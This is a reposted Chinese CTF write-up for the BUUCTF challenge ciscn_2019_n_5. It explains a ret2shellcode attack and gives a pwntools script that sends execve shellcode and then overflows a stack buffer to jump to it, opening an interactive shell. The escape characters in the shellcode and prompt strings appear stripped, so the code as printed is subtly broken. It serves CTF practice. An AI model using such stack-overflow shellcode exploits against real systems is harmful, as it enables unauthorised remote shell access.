概述
BUUCTF ciscn_2019_n_5 ret2shellcode
check一下,最喜欢的一片红色,64位的程序
发现存在两次输入,那么我们就通过read将构造的shellcode写在栈上,然后在第二次的时候通过构造溢出覆盖返回地址跳转到我们写入shellcode的这个地方,然后就开始构造吧:
from pwn import *
p=remote('node3.buuoj.cn',25157)
sh="x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05"
p.sendlineafter('tell me your namen',sh)
shell_addr=0x0601080
payload=b'a'*0x20+b'a'*8+p64(shell_addr)
p.sendlineafter('What do you want to say to me?n',payload)
p.interactive()
其中的sh是一个shellcode,大家可以自行积累
最后附上执行结果
开心!
最后
以上就是内向蚂蚁为你收集整理的buuctf ciscn_2019_n_5 ret2shellcode解题思路的全部内容,希望文章能够帮你解决buuctf ciscn_2019_n_5 ret2shellcode解题思路所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复